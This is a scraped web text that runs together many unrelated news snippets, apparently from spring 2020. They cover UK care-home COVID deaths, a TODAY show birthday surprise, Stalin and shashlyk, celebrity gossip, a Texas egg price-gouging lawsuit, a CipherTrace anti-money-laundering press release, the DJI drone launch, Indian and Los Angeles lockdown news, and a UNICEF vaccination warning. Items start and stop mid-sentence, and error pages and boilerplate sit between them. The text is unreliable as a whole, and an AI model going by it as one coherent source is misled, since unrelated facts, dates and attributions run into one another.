look on as British Prime Minister Boris Johnson gestures as he speaks during a coronavirus disease (COVID-19) news conference inside 10 Downing Street Reuters The ticket-validation terminals at the tram stop on Edinburgh's Princes Street are cleaned following the coronavirus outbreak. PA Locked school gates at Rockcliffe First School in Whitley Bay, Tyne and Wear PA A sign at a Sainsbury's supermarket informs customers that limits have been set on a small number of products as the number of coronavirus (COVID-19) cases grow around the world Reuters Jawad Javed delivers coronavirus protection kits that he and his wife have put together to the vulnerable people of their community of Stenhousemuir, between Glasgow and Edinburgh AFP via Getty Images A sign advertising a book titled "How Will We Survive On Earth?" Getty Images A man who appears to be homeless sleeping wearing a mask today in Victoria Jeremy Selwyn A pedestrian walks past graffiti that reads "Diseases are in the City" in Edinburgh AFP via Getty Images Staff from The Lyric Theatre, London inform patrons, as it shuts its doors PA A quiet looking George IV Bridge in Edinburgh PA A quieter than usual British Museum Getty Images A racegoer attends Cheltenham in a fashionable face mask SplashNews.com A commuter wears a face mask at London Bridge Station Jeremy Selwyn A empty restaurant in the Bull Ring Shopping Centre Getty Images A deserted Trafalgar Square in London PA Passengers determined to avoid the coronavirus before leaving the UK arrive at Gatwick Airport Getty Images In other details, the ONS said there were 4,343 deaths in care homes involving coronavirus reported by care home providers in England to the Care Quality Commission up to April 24. The new figures detail the extent of the growing crisis in care homes. Reacting to the ONS data, Sam Monaghan, chief executive of Methodist Homes, said: The ONS figures are finally beginning to show what we have known for some weeks now, that care homes are sadly the most affected area of society in terms of deaths from Covid-19." The Government has faced increasing pressure to release care home death figures daily, as it does fatalities in hospitals. Mike Padgham, chairman of the Independent Care Group (ICG), spoke of his fears that daily care home deaths could be continuing to rise, despite hospital deaths dropping day-on-day. Commenting on the ONS figures, he said: Any death in a care or nursing home is a cause for great sadness and care providers are seeing Covid-19 take a terrible toll. These are our loved ones mothers, fathers, brothers, sisters, aunts, uncles and friends who have been taken from us early. They deserve better. Listen to The Leader: Coronavirus Daily podcast You have permission to edit this article. Edit Close A grandmother celebrating her first birthday without her husband of 50 years was by herself at home on Tuesday, but she was not alone. Hoda Kotb and Jenna Bush Hager made a surprise video call on TODAY with Hoda & Jenna to brighten the spirits of Carolyn Oliver on her 74th birthday as she remains in quarantine at her Louisiana home during the coronavirus pandemic. "Oh my God!" Oliver said in surprise. "Oh, you're gonna make me cry!" The sweet moment came after Oliver's daughter Christy reached out to Hoda about her mother. Oliver lost her husband, Bill, when he died last June in an accident while working on his boat. Carolyn Oliver celebrated her first birthday without Bill, her husband of 50 years, who died in June 2019. (Christy Reeves) Oliver's husband was known as the life of the party, making the Louisiana grandmother's birthday on Tuesday a little more somber and subdued without him there. "We just want to let you know you are not alone, and we've been thinking about you on this birthday," Jenna told her on TODAY. The surprise from Hoda and Jenna marked the latest gesture by the TODAY family to raise people's spirits during a difficult time, whether it's Al Roker throwing a virtual prom for a group of high school seniors or Hoda officiating a virtual wedding for a couple who had theirs canceled due to the pandemic. Oliver has also self-quarantined in her home since March 11, so her other daughter Lisa along with Christy wanted to make sure she didn't feel alone on her special day. Carolyn Oliver's two daughters and three granddaughters showed up outside her home to wish her a happy 74th birthday. (Christy Reeves) Oliver's daughters wrote to friends and family around the world asking them to send cards to Lisa for her to give to her mother on her birthday. More than 150 people sent cards from as far away as Paris and Calgary, Canada, to make sure Oliver knew they were thinking of her on her birthday. Christy and Lisa also went to their mother's home on Tuesday with their three daughters to wish her a happy birthday in person from a safe distance outside. She turned her phone around to show the sweet scene of her family gathering to add to the sweet surprise from Hoda and Jenna. "We wanted you to know that we're holding your hand through the TV," Hoda added. The requested page is currently unavailable on this server. Back to [RTHK News Homepage] Shish kebab has long been considered an all-Russian dish, and we all look forward to the day when self-isolation is over, and each family will fry meat in the fresh air in some picturesque place. This article tells how shashlyk became so popular in Russia. Cooking on an open fire is the oldest way to cook, however, the Caucasus is still considered the birthplace of shashlyk. Highlanders adore shish kebab; Georgians call it Mtsvadi, Azerbaijanis - Shishlik, or Kabab. The shish kebab word is of Azerbaijani, Turkic origin (shish" - skewer; shishlik - meat on a skewer). If Georgians are famous for pork kebabs, then Azerbaijanis are experts in cooking lamb shashlyk. Every resident or guest of the Russian capital can experience it for himself by trying lamb shish kebab in an Azerbaijani restaurant, for example, in the Baku Boulevard network. Here, Azerbaijani chief creates a miracle similar to the Italian pizza baked in a wood-burning oven. Recently, coal-fried meat became an invariable summer dish for residents of Central Russia, where it used to be more often prepared in pots. The accession of shashlyk was due to the Azerbaijani and Georgian cuisines. Baku and Tbilisi, by their importance and attendance, were on a par with Moscow, Leningrad, Kiev and Minsk. They had an indisputable influence on the formation of the Soviet cuisine, combining the national dishes of all the USSR republics. Today, people usually blame Soviet cuisine for a limited number of ingredients and a simplified cooking recipes adapted for pretty hard times. Nevertheless, the Soviet Union collapsed three decades ago, and the cuisine of the peoples of the USSR is still popular in simple dining rooms, expensive restaurants and housewives. Culinary experts claim shashlyk became a popular dish after the Great Patriotic War and before Stalin's death, who was extremely fond of both the dish itself and the cooking ritual, which invariably includes the preparation of meat, marinade and lightning the fire. At different times Stalin lived in the multinational Baku and Tiflis, where Azerbaijanis cooked their famous mutton barbecue. The Leader of the Nations fell in love with shashlyk and became the main propagandist of mutton barbecue in the Kremlin. Stalin's personal security officer Grigory Pushkarev, who spoke a lot about the Leader of the Nations after the collapse of the USSR, testified: Sometimes Stalin invited two aksakals - his old friends - to lake Ritsa. The men were eighty years old, but still very strong. They were brought to Ritsa in the Willys MB. Aksakals always took a young lamb with them to prepare shashlyk for Stalin. He was very respectful of the elders. I remember, once, when they arrived, Joseph Vissarionovich personally went out to meet them, hugged each, kissed. Then he went back to the house, and the aksakals got to work: one was butchering the lamb, and the second was lightning the fire. When shashlyk was ready, Iosif Vissarionovich was invited to dinner with Georgian wine in a gazebo. After dinner, until midnight, Stalin was singing songs with aksakals. Nappy old men were brought back home, and Joseph Vissarionovich went to sleep. Free guards finished shashlyk and wine. On the Internet, you can find a recipe of a shashlyk from a two-week-old lamb cut in the presence of a vet. The recipe was allegedly shared by the NKVD officer, who prepared kebabs for Stalin and his guests in the postwar years, Pavel Rusishvili. Once I had to cook this dish for the reception, which Stalin arranged in honor of Churchill during his visit to Moscow in 1942. Moscow was bombed then, and Churchill was asked where it would be better to arrange a reception for him - in Moscow or out of the city. He answered cunningly: "I am not the master here. Wherever Stalin wants, well meet there. Stalin gave instructions to arrange the reception in St Catherines Hall. The cook who was supposed to cook the kebab got sick, and I was told - Pavlik, just do it. Churchill liked shashlyk. Such lamb kebab melts in your mouth like butter, there are aroma, taste and juice in it. He even conveyed his gratitude. When Stalin received guests at the Kuntsevo Dacha, barbecue at their arrival was cooked directly in the fireplace on cupronickel skewers. They say that Stalin sometimes intervened in the process, saying: "You do not know how to cook! That's how it should be! " Rusishvili said. Indeed, there is much evidence that Stalin, maybe, did not cook kebab by himself, but liked to give orders during the process. "Stalin stood by the barbecue furnace, not trusting this important operation to anyone, and gave us the necessary instructions. One brought firewood, the other one - iron rods. The third person skewered the meat, the forth laid the table, the guard of the Leader of the Nations, Anatoly Rybin, said. Soon, we all master shashlyk outdoors, but only after the pandemic is over. Probably, the reason for the "kebab" holiday will be a victory over the coronavirus. This day is sure to come, thanks to the efforts of scientists, doctors who are selflessly working to solve the world problem. In the meantime, we should remain patient and observe the elementary requirements of social distancing and hygiene. Rebel Wilson kickstarted her 40th birthday celebrations with a private dinner inside Disneyland's exclusive private residence, 21 Royal. And it appears the rest of her planned celebrations have been cut short following the COVID-19 outbreak. On Tuesday, the Pooch Perfect host shared a photo to Instagram to announce her forthcoming birthday party has been postponed. 'Try and get the credit from the airlines': On Tuesday, Rebel Wilson (pictured) was forced to 'postpone' her birthday party 'To all my friends, I'm sorry my birthday party has to be postponed,' the actress began. 'I was so looking forward to being with you all, but it'll be back on in like 2021?' Rebel wrote alongside a photo of herself. 'I'll let you know as soon as I know,' before she urged her friends to 'try and get the credit from the airlines now'. It's unclear if Rebel's birthday celebrations were planned to take place in Australia or Los Angeles. Boo: 'To all my friends, I'm sorry my birthday party has to be postponed, I was so looking forward to being with you all, but it'll be back on in like 2021?' Rebel wrote Speaking on her Instagram stories last week, Rebel revealed she had recently relocated to Sydney to do her best to avoid the rising number of cases of COVID-19 in the United States. It comes after the Bridesmaids star recently dined in Disneyland. Rebel splashed out $22,700 on a luxury dinner at exclusive Disney venue 21 Royal. One to remember! It comes after she kickstarted her 40th birthday celebrations and enjoyed a dinner at exclusive residence, 21 Royal Birthday girl! During her dinner, Rebel wore a special set of Mickey Mouse ears with a cupcake at the centre, which were gifted to her by Disney to mark her milestone The former Fat Pizza star personally invited 11 guests - who included her stylist, personal trainer and close friends to the no expense spared shindig, splashing AUD$22,700 for the coveted 21 Royal dining experience. 'Could not have had a happier birthday with this bunch of amazing folks,' Rebel captioned a selection of photos from the evening. At 21 Royal, there is a US$1250 price tag per head with a maximum 12-person booking, priced at US$15,000 (AUD$22,700). During her dinner, Rebel wore a special set of Mickey Mouse ears with a cupcake at the centre, which were gifted to her by Disney to mark her milestone birthday. Error. Page cannot be displayed. Please contact your service provider for more details. (19) Texas attorney general has accused the nations largest egg producer of price gouging during the coronavirus pandemic. A lawsuit filed by Republican Attorney General Ken Paxton alleges that Cal-Maine Foods raised generic eggs price by 300% even though the pandemic hasnt disrupted its supply chain, the Houston Chronicle reported. Texas is seeking more than $100,000 in damages. Cal-Maine denies the allegations, saying its prices are based on independent market quotes. We have been consistent in our pricing practices whether we sell at a profit or at a loss, a spokesman said in an email. The Mississippi-based company has 42 egg-producing facilities in 15 states, mostly in the South. After Gov. Greg Abbotts state of emergency declaration in March, Texas residents scrambled to stock up on groceries and supplies. Eggs, among other staples, were in such high demand that many stores imposed limits on how many each customer could buy. Cal-Maines egg prices jumped from about $1 per dozen to as high as $3.44, according to Paxtons lawsuit. That created a huge profit potential for a company controlling nearly 20% of the nations egg sales, the suit alleges. It is simply charging more because it can, the lawsuit states. Or, more specifically, because the pandemic caused market demand to jump. Texas penalty for price gouging is a fine of up to $10,000 per violation with another penalty of up to $250,000 if the affected consumers are elderly. Last month, Paxton sued a Houston-based company for allegedly illegally inflating prices for masks and soap. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Texas USA Maine It was forcing him to cooperate privately in order to obtain information on the combat duty of units of Ukraines State Border Guard Service Representatives of the Federal Security Service (FSB) of the Russian Federation illegally detained a junior sergeant of the State Border Guard Service of Ukraine on the administrative border with the temporarily occupied territory of the Autonomous Republic of Crimea. This was reported by the military counterintelligence service of Ukraines Security Service, the press service of the department informs. "Representatives of the Russian special services, using violence and torture, tried to force the Ukrainian to confess to the allegedly deliberate intersection of the administrative border with the peninsula," the message reads. It was also stated that FSB's representatives tried to pressure him in private cooperation in order to obtain information on the combat duty of units of Ukraines State Border Guard Service. The Security Service of Ukraine has checked the information on the circumstances of the illegal detention of the border guard and his contacts with Russias FSB. As we reported earlier, on April 16, FSB detained one Ukrainian citizen and accused him of espionage. If Kunal Kalra's banks had been using Armada to monitor their accounts, we could have identified Kalra much earlier. Similarly, if M.Y. Safra Bank had deployed Armada to detect illegal cryptocurrency transactions, they would not be scrambling to meet the OCC's requests. CipherTrace launches Armada to support banks and financial institutions in achieving AML compliance by providing critical visibility into risky cryptocurrency blind spots so know your customer (KYC) processes can detect and perform due diligence on virtual asset service providers (VASPs). It also works with a bank's existing monitoring tools to identify transactions with VASPs, including those with weak KYC or operating as unregistered money service businesses (MSBs). Cryptocurrency is pervasive in top US banks: A top US bank will typically process upwards of $2 billion in crypto-related transactions annually that are not being detected. 10 out of 10 top US retail banks have consumers or small businesses transacting with cryptocurrency converters. 8 out of 10 top US banks unknowingly harbor unregistered crypto MSBs. 55% of top 500 cryptocurrency providers lack good KYC. The lack of visibility and preparedness on the part of banks and other financial institutions makes them vulnerable to fraud and compliance exposure. The consequences for failing to achieve compliance, whether knowingly or unknowingly, include fines, reorganization, and even jail time. Recent statements by FinCEN personnel and Treasury Secretary Steven Mnuchin showcase the US government's stance on compliance expectations for financial institutions when it comes to cryptocurrency transactions. FinCEN Director Kenneth Blanco said on December 10th, 2019, I think it is important for all financial institutions to ask themselves whether they are reporting such suspicious activity. If the answer is no, they need to reevaluate whether their institutions are exposed to cryptocurrency. US Treasury Secretary Steven Mnuchin said on March 2nd 2020, "Treasury is focused on preventing the misuse of virtual currencies by money launderers, terrorist financiers, and other bad actors. The United States will continue to be at the forefront of regulating entities that provide cryptocurrency, and will not tolerate the use of cryptocurrencies in support of illicit activities. FinCENs Carol House said on November 5th 2019, Compliance with travel rule requires a financial institution to know when their counterparty is a financial institution. It would be interesting to know how many financial institutions operating in this space are able to identify a recipient as a financial institution on the basis of its wallet reference number, or the other information that it currently has available to it. Major recent relevant cryptocurrency crimes and enforcement actions include: California bitcoin ATM operator Kunal Kalra pleaded guilty to laundering twenty-five million in dirty cash and cryptocurrency through multiple bank accounts. Office of the Comptroller of the Currency (OCC) punished M.Y. Safra Bank for lack of AML controls for cryptocurrency related customers. For more information see https://ciphertrace.com/occ-hits-new-york-based-bank-with-first-ever-enforcement-action-for-lack-of-crypto-aml-compliance/ Mark Harmon of Akron Ohio was indicted for laundering $311M using his Helix mixer operation. USA Office of Foreign Assets Control (OFAC) sanctioned Chinese nationals for laundering over $100M in crypto of North Korean ransomware proceeds through several banks. "If Kunal Kalra's banks had been using Armada to monitor their accounts, we could have identified Kalra much earlier," said CEO of CipherTrace Dave Jevans. "Similarly, if M.Y. Safra Bank had deployed Armada to detect illegal cryptocurrency transactions, they would not be scrambling to meet the OCC's requests. Though the OCC did not levy a fine, M.Y Safra Bank must implement an independent BSA audit, monitor and report suspicious activity, institute an independent party to review past activities, and hire a BSA officer and sufficient supporting staff all within 180 days." Armada provides banks and financial institutions with the following services: Conducts KYC to identify virtual asset customers, VASPs, and unregistered MSBs Enables enhanced due diligence of high-risk virtual asset payments Reveals counterparty risk associated with hundreds of VASPs and unregistered MSBs CipherTrace analyzes KYC and transaction risks on over 500 VASPs and is expanding its offering to banks and other financial services with the rollout of Armada. Ultimately, Armada mitigates cryptocurrency AML and counter-terrorist financing risk for financial institutions by identifying customers falsifying their crypto intentions, flagging transactions to and from high-risk crypto counterparties, and collecting evidence of the counterparty risk. For media inquiries, please contact Kili Wall at (310) 260-7901 or Kili(at)MelrosePR(dot)com About CipherTrace CipherTrace, industry-leading cryptocurrency intelligence firm, aims to protect financial institutions from crypto laundering risk and grow the crypto economy by making virtual assets trusted by governments and safe for mass adoption. CipherTrace delivers the worlds most comprehensive cryptocurrency intelligence to detect money laundering, power law enforcement investigations, and enable regulatory supervision. Created to develop digital currency and blockchain tracing and security capabilities, CipherTrace provides visibility into 87% of global trading volume with hundreds of millions of attribution data points and can trace more than 800 virtual assets, including BTC, BCH, ETH, ERC-20, Tether, and LTC tokens. The company was founded in 2015 by experienced Silicon Valley entrepreneurs with deep expertise in cybersecurity, eCrime, payments, banking, encryption, and virtual currencies. The US Department of Homeland Security Science and Technology (S&T) and DARPA initially funded CipherTrace. For more information, visit http://www.CipherTrace.com or follow us on Twitter @CipherTrace. Models pose with DJI's new drone Mavic Air 2. / Courtesy of DJI Korea By Baek Byung-yeul Leading drone maker DJI has launched its new Mavic Air 2 that has a longer flight time and enhanced filming ability, targeting beginners and novice pilots who want to produce images and videos with high resolution, the Korean unit of the Chinese maker said Monday. The world's largest consumer drone maker with a market share of roughly 90 percent said the Mavic Air 2 is a compact and easy-to-use folding drone with an 8K camera. It weighs 570 grams and has a maximum flight time of up to 34 minutes. "The Mavic Air 2 is another milestone for DJI, demonstrating that our smartest consumer drone does not have to be the largest," Roger Luo, president of DJI, said in a statement. "While the Mavic Air 2 bears all the hallmarks of the Mavic drone family, we had to completely rethink its design and development process. Our goal was to create a drone that offered the best overall experience possible to even the most novice pilot." For the new drone, DJI upgraded its video transmission technology, OcuSync 2.0, which allows the controller to maintain contact and receive high-definition video streams at a distance of up to 10 kilometers. "Given the Mavic Mini, our smallest drone, has a maximum distance of 4 kilometers, the Mavic Air 2 can stably transmit videos over a longer distance," Jung Kyoung-ryoon, policy and communication head of DJI Korea, told reporters during a media conference in Seoul. The Mavic Air 2 is available in two options. One is a standard package, priced at 990,000 won ($807), that includes the Mavic Air 2, one battery, remote controller and cables. The other is a 1.32 million won-priced Fly More package that includes all items from the standard package as well as natural-density filters, a carrying bag, charging hub and three batteries. For Korean consumers, the new drone will be available from May 11. Despite the coronavirus spreading worldwide, DJI Korea said the company decided to introduce the new drone as scheduled. "We are being cautious about the COVID-19 pandemic, but we have seen no change in our product roadmap. As we have prepared for the launch of the Mavic Air 2 for a long time, we decided to launch it as scheduled," he said. When asked if the ongoing COVID-19 pandemic will affect sales of the new drones, DJI Korea said it was hard to say whether this was the case. "Though there's no statistical data, we've heard that consumers in North America use drones more frequently than before as countries there are imposing a lockdown to combat the virus. I think it depends on situation of each country," Jung said. Mahindra group Chairman Anand Mahindra on Tuesday suggested a "comprehensive" lifting of lockdown after 49 days, saying the industrial recovery will be painfully slow if the government goes for sequential opening of different parts of the country. While acknowledging that the government has a complex challenge in planning an exit strategy, he said considering how intricately interrelated the elements of the economy are, the road ahead must be planned on the basis of containment by widespread tracking and testing, isolation only of hotspots and vulnerable segments of the population. "Research suggests a 49-day lockdown is optimal. If true, then post that duration, I believe the lifting of the lockout should be comprehensive," Mahindra said in a series of tweets. He suggested "containment by exception based on widespread tracking & testing. Isolation only of hotspots and vulnerable segments of the population" as a strategy in the post-lockdown era. Explaining his thoughts, Mahindra said, "If a 'calibrated' lifting of the lockdown means the sequential opening of different parts of the country, then industrial recovery will be painfully slow. In manufacturing, if even one feeder factory is still locked down, then the final product assembly will be stalled." The government has a complex challenge planning an exit from the lockdown. It is crystal clear that all supply chains and all elements of the economy are intricately interrelated. For example, humble roadside dhabas may seem 'non-essential' but truckers can't journey without them," he further added. India had gone for a 21-day nationwide lockdown from March 25 to April 14, after Prime Minister Narendra Modi announced the step to curb the spread of the coronavirus pandemic. He later extended it to May 3 taking the total lockdown period to 40 days. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Uttar Pradesh Chief Minister Yogi Adityanath on Tuesday said timely action by Prime Minister Narendra Modi saved the country from coming into the grip of coronavirus. He said this while interacting with students brought from Rajasthan's Kota recently in a video conference. The CM told students that over 200 countries are battling with the virus and those considered superpowers are in bad a shape. "We are all fortunate that Prime Minister Narendra Modi has taken necessary steps at the right time for the betterment of 135 crore people of the country, he said. As a result, India has been saved from coming into the grip of that infection, which has today affected many big countries. I thank Prime Minister Modi for this," Adityanath added. Adityanath told students that it was a big challenge for the government to bring them back. We made an action plan and communicated with the Governments of Rajasthan and India. We were successful in sending you back to your homes," he claimed. He said the greatest partner of the person during the calamity is patience. "You all kept patience, and a result you are safe in your homes today," Adityanath said. The chief minister advised students stay in home quarantine for 14 days and also follow social distancing. "It will be good for you and your family. If there is any problem, you can call at CM helpline 1076 or relief line 1070," Adityanath said. "You can stay in your homes and complete your syllabus. For the ease of students, we have also arranged online classes in the state. Our effort is to set up some good educational centres in all districts to help student prepare for competitive examinations," he said. The chief minister also said over four lakh workers from Delhi, Haryana, Rajasthan and other states had headed to their homes in the initial days of the lockdown, which was a big challenge for the state government. "As soon as we got information about this, we took all necessary steps and sent them to their districts through buses and got them quarantined, he claimed. Even in other states of the country, where there are workers from Uttar Pradesh, we are taking necessary action on a war footing to bring them back after conducting health tests," he said. The conversation witnessed a light moment when Deeksha Verma, a student from Gorakhpur, thanked the chief minister. On this, the chief minister asked her if she reached her home safely, to which Diksha said yes. The chief minister then said, "But we have not received our fare". Everyone present at the venue of the video conference laughed at the chief minister's reply. Adityanath wished Deeksha a bright future and said serving the nation will be the actual fare paid by her. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former presidential candidate, Oby Ezekwesili has queried when president Muhammadu Buhari would make himself available to the media for questioning while addressing the public. Read Also: Aisha Buhari Donates PPE, Food Items, Face Masks To Kano (Photos) Speaking via her official Twitter handle, she condemned the President for addressing the public on Monday, 27th without opportunity given to journalists to probe the ideas conveyed. At what stage will the @NigeriaGov @NGRPresident @MBuhari give a speech and present himself to be questioned by the media? This method of the President reading speeches to citizens without opportunity given to journalists to probe the ideas conveyed is frankly unacceptable. Kourtney Kardashian seems to still be on good terms with ex-partner Scott Disick as they co-parent their three children - Mason, Penelope and Reign - during self-isolation. The 41-year-old reality TV star took to Instagram on Tuesday to model the star's Stay At Home black sweat outfit from his Talentless line that he created while Americans are being careful during the coronavirus pandemic. 'Stay home,' was all the Keeping Up With The Kardashians star would say in her caption. For Scotty! Kourtney Kardashian took to Instagram on Tuesday to model the star's Stay At Home black sweat outfit from ex Scott Disick's Talentless line that he created while Americans are being careful during the coronavirus pandemic Kourtney had her makeup nicely done with her hair pulled up as she sat on the white carpeted floor of her bedroom. The POOSH founder was leaning against her king-sized bed in her Calabasas, California mansion. There seemed to be nothing on her beige walls and the bed was made up to hotel standards with the white sheets nicely tucked in. His model moment: Last week he was seen with the outfit on in Malibu as he added an ageing filter to his cell phone camera that made him have grey hair and a beard. He resembled Star Wars actor Harrison Ford a bit It's easy to stay home when you own a mansion: The back of his top said 'I'm Staying Home' Disick has modeled his line as well. Last week he was seen with the outfit on in Malibu as he added an ageing filter to his cell phone camera that made him have grey hair and a beard. He resembled Star Wars actor Harrison Ford a bit. And he was seen with a hoodie that said Please Wash Your Hands, also from his company, earlier this month. In the image he was doing just that: washing his hands. He was also looking in the mirror at himself. Checking himself out: And he was seen with a hoodie that said Please Wash Your Hands, also from his company, earlier this month. In the image he was doing just that: washing his hands. He was also looking in the mirror at himself This weekend fans were sent into a tizzy when Scott liked an old photo from 2012 where he was kissing Kourtney. Scott and Kourtney were together from 2006 to 2015. The two met at mutual friend Joe Francis's house party in Mexico. Disick talked during an April 2019 episode of Keeping Up With the Kardashians about how Kourtney is his soul mate. He liked this! This weekend fans were sent into a tizzy when Scott liked an old photo from 2012 where he was kissing Kourtney. Scott and Kourtney were together from 2006 to 2015. The two met at mutual friend Joe Francis's house party in Mexico 'I definitely dont want to disrespect my relationship with Sofia because it means a lot to me,' he said. 'Whether Kourtney and I are soulmates or not, I feel like I owe a lot to Kourtney for the times that I missed when I wasnt the best partner to her. 'So I feel like I will forever be making up for that lost time for the rest of her life.' She did it in 2019: Sofia modeled her beau's line Talentless on social media as well She loves working for her man: Richie was also seen in Modal which was sold through Talentless On Monday Kourtney reminded fans that she has an incredible figure. The Dash Dolls veteran was lounging around the backyard of her Calabasas, California mansion for the snapshot. 'Evolve as you please,' the mother-of-three wrote in her caption. She certainly seems to have a thing for swimwear photos. To celebrate her 41st birthday, the sister of Kim and Khloe was seen in a flashback photo from 25 years ago when she posed in a black-and-white two piece. The petite wonder seemed to be at her hotel while on vacation in Hawaii. The college graduate had her dark hair worn short and partially pulled back. There was heavy eye makeup on for the portrait as well as frosty beige lipstick. Her arms were up on the balcony rail as she seemed to be impressed with her deep tan as she wore a black and white striped suit. Relaxed: Kourtney shared a pinup photo that made her look much younger than her 41 years. The Keeping Up with The Kardashians vet was lounging around her Calabasas, California mansion for the snapshot Teen Kourtney: Here Ms Kardashian is seen about 25 years ago; the image was shared as the Poosh founder celebrated her 41st birthday The POOSH founder's body looks great, but she actually may look even better now. Also this weekend, her supermodel sister Kendall Jenner shared a recent shot from a bikini modeling session. Kourtney was in a black and beige leopard print suit with her hair in a turban - she was showing off a more muscular frame with abs and sculpted legs. Her little sister was in something similar as she squatted down. Success! An email has been sent to with a link to confirm list signup. Matt Hancock has said the best information we have suggests coronavirus arrived in the UK with holidaymakers returning from half-term breaks in Italy and Spain back in February. The health secretary was asked by LBCs Nick Ferrari about a report in The Sunday Times which suggested that coronavirus arrived in the UK as early as the new year. There were reports over the weekend that the virus arrived in this country possibly around January of February, a tracker app suggested that, Mr Ferrari said. Is that a real possibility, that we might have had it earlier in this country than we knew? Matt Hancock said the government was currently attempting to trace the virus's path. (Getty) Hancock said the government was currently attempting to trace the path of the virus but warned that there were questions about the reliability of data. Well you cant rule it out, he responded, But also what you need to do to understand that, is to get the genetic code from the early cases. Latest coronavirus news, updates and advice And I saw that on a tracker app. The challenge is that youre asking people a couple of months later to report their symptoms some time ago. So theres queries over the reliability of the information. We absolutely will look into all of those things. We can decode the genes in the virus itself, and that way you can see the path of the virus. Data suggests the first cases may have arrived in the UK around new year. (Getty) But the best information we have is that it came to this country in large numbers from Italy and Spain during half term, and thats when it seeded here. According to The Sunday Times, data gathered from around 2.6 million people who signed up to Kings College Londons Covid Symptom Tracker app showed the virus may have arrived in Britain back in January. Professor Tim Spector, a leading epidemiologist from the university, said it is highly likely the disease was circulating soon after new year. Story continues A woman wearing a facemask feeds birds in London during the lockdown. (Getty) Were getting hundreds of the people using our app telling us that they developed something soon after the new year, he told the newspaper. The reports I am getting are from people who were ill from early January onwards and strongly suggest they had COVID-19 but were not recognised as such. Two Chinese nationals were officially declared the first people in the UK to test positive the virus on 31 January. As of Monday afternoon, there have been more than 157,000 confirmed cases in the UK. Coronavirus: what happened today? Click here to sign up to the latest news, advice and information with our daily Catch-up newsletter L.A. Board of Supervisors look to create Action Plan to Re-open local Economy; COVID-19 Death Rate Still Rising in African American Communities Monday, April 27, the Los Angeles Emergency Operations Center supplied new information surrounding the COVID-19 outbreak. Last week Board of Supervisors Chairwoman Kathryn Barger relayed four benchmarks L.A. is looking to reach, before relaxing the Safer at Home Order. This included hospital capacity, accessibility to isolation areas for those positive with coronavirus, and protection for those most susceptible to contract the COVID-19 virus. Director of L.A. Public Health Department, Barbara Ferrer shared the latest data surrounding the coronavirus statistics, the testing results of COVID-19 leaves a lot of questions unanswered. For instance, is Los Angeles still on track to re-open its economy by May 15? What is L.A. County doing to resolve the issue of higher death rates in African American Communities? Dr. Ferrer, disclosed the latest updates surrounding the COVID-19 Virus. Ferrer shared that Over 123,000 people have been tested for COVID-19, 14% of that population contracted coronavirus. As of Monday, she acknowledged the growing death rate in Los Angeles. There were 29 additional deaths, 25 of these individuals were between the ages of 65 and over, 18 of them with underlining health conditions, three people were between the ages of 41-65, with one of them having preexisting health concerns. This brings the total COVID-19 related deaths in the L.A. County to 942. Dr. Ferrer disclosed that as of April 27, there are 900 new coronavirus reports. These numbers reflect 576 positive cases in Long Beach and 325 COVID-19 reports coming from Pasadena. Approximately 23% of those infected with COVID-19 are hospitalized at some point. 92% of positive cases that died, had underlining health conditions. In summary there 20,417 positive COVID-19 cases in the Los Angeles region. Within the unsheltered community, there were 118 positive coronavirus cases. This includes 68 of the people who were staying at a shelter, they are now appropriately isolated. The relationship with coronavirus death rates and race and ethnicity were disclosed. For the 865 people who passed away and the race information was collected 14% were African American, 18% were Asian, 1% were Native Hawaiian or Pacific Islander, 37% were LatinX, 28% were white, and 1% identified who passed away, were from a different race or ethnicity. The disproportionate death rate within the African American and Asian communities were acknowledged. Through a pro-rated formula, the health department determined that African Americans have the highest COVID-19 related death rate than all other races. An in-depth study presented those who lived below the poverty line, had three times the rate of death from COVID-19. The Los Angeles County Board of Supervisors are looking to have a meeting tomorrow, regarding an action plan to meet the four benchmarks they introduced during last weeks L.A. County briefing. The most important goal of the Board of Supervisors is restoring the local economy. Chairwoman Barger in partnership with Supervisor Hilda Solis are proposing a motion that outlines the roadmap to economic recovery. Within this motion, they are looking to develop an Economic Resiliency Task Force, a new design on how local businesses operate, and steps towards reestablishing learning and enrichment activities. There are no measurable guidelines listing the countys strategy to combat the rate of deaths due to COVID-19 in African American communities. Within the meeting tomorrow, there is an anticipation for an immediate solution. ADVERTISEMENT Expressing concern over the disruptions caused in immunisations due to the coronavirus pandemic, the UN Children's Fund (UNICEF) warned on Tuesday that South Asia could face yet another health emergency if children across the region did not receive their life-saving vaccine shots. Almost a quarter of the world's unimmunised or partially immunised childrenabout 4.5 million childrenlive in South Asia. Almost all of them, or 97 per cent, live in India, Pakistan and Afghanistan. With lockdowns in place as a part of the novel coronavirus (COVID-19) response, routine immunisations have been severely disrupted, and parents are increasingly reluctant to take their children to health centers for routine jabs. Sporadic outbreaks of vaccine-preventable diseases, including measles and diphtheria, have already been seen in parts of Bangladesh, Pakistan and Nepal. The South Asia region is also home to two of the last polio endemic countries in the world, Afghanistan and Pakistan. Vaccine stocks are running dangerously low in some countries of the region as supply chains have been disrupted with travel bans and cancelled flights. The manufacturing of the vaccines has also been disrupted, creating additional shortages, says Paul Rutter, Regional Health Advisor for UNICEF Regional Office for South Asia (ROSA). Many of the health facilities throughout the region, where millions of children are normally vaccinated, have been closed and outreach sessions have been suspended, adding to the challenge. South Asia could face yet another health emergency if children across the region do not receive their life-saving vaccine shots, the UNICEF said. As long as frontline health workers take the appropriate precautions, particularly washing their hands, there is no reason not to vaccinate in fact, it is crucial that vaccination continues, says Rutter. Across the region, national mass vaccination campaigns have been postponed. Bangladesh and Nepal have postponed their national measles and rubella campaigns while Pakistan and Afghanistan have suspended their polio campaigns. The UNICEF strongly recommends that, where immunization campaigns are suspended, governments begin rigorous planning now to intensify immunization activities once the COVID -19 pandemic is under control. We are very concerned about the impact of not getting children vaccinated, says Jean Gough, Director of UNICEF ROSA. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Large public gatherings are on hold for the foreseeable future, but that hasnt stopped people from employing parades to lift spirits during the COVID-19 outbreak. One such event will take place on Tuesday outside of Easton Hospital. Police, firefighters and EMS will provide a virtual hug to front-line medical professionals by parading around the Wilson Borough facility at 10 a.m. Easton Hospital workers are crafting posters to share messages and reciprocate their gratitude to the first responders circling the campus. "We are very lucky to be part the Wilson/Easton Family. We are honored to have our local first responder agencies take time out of their day to show their respect and appreciation," hospital President Linda J. Grass wrote in an email to staff. On the opposite side of the Lehigh Valley, Parkland School District students will decorate their doors with messages thanking police and the community at 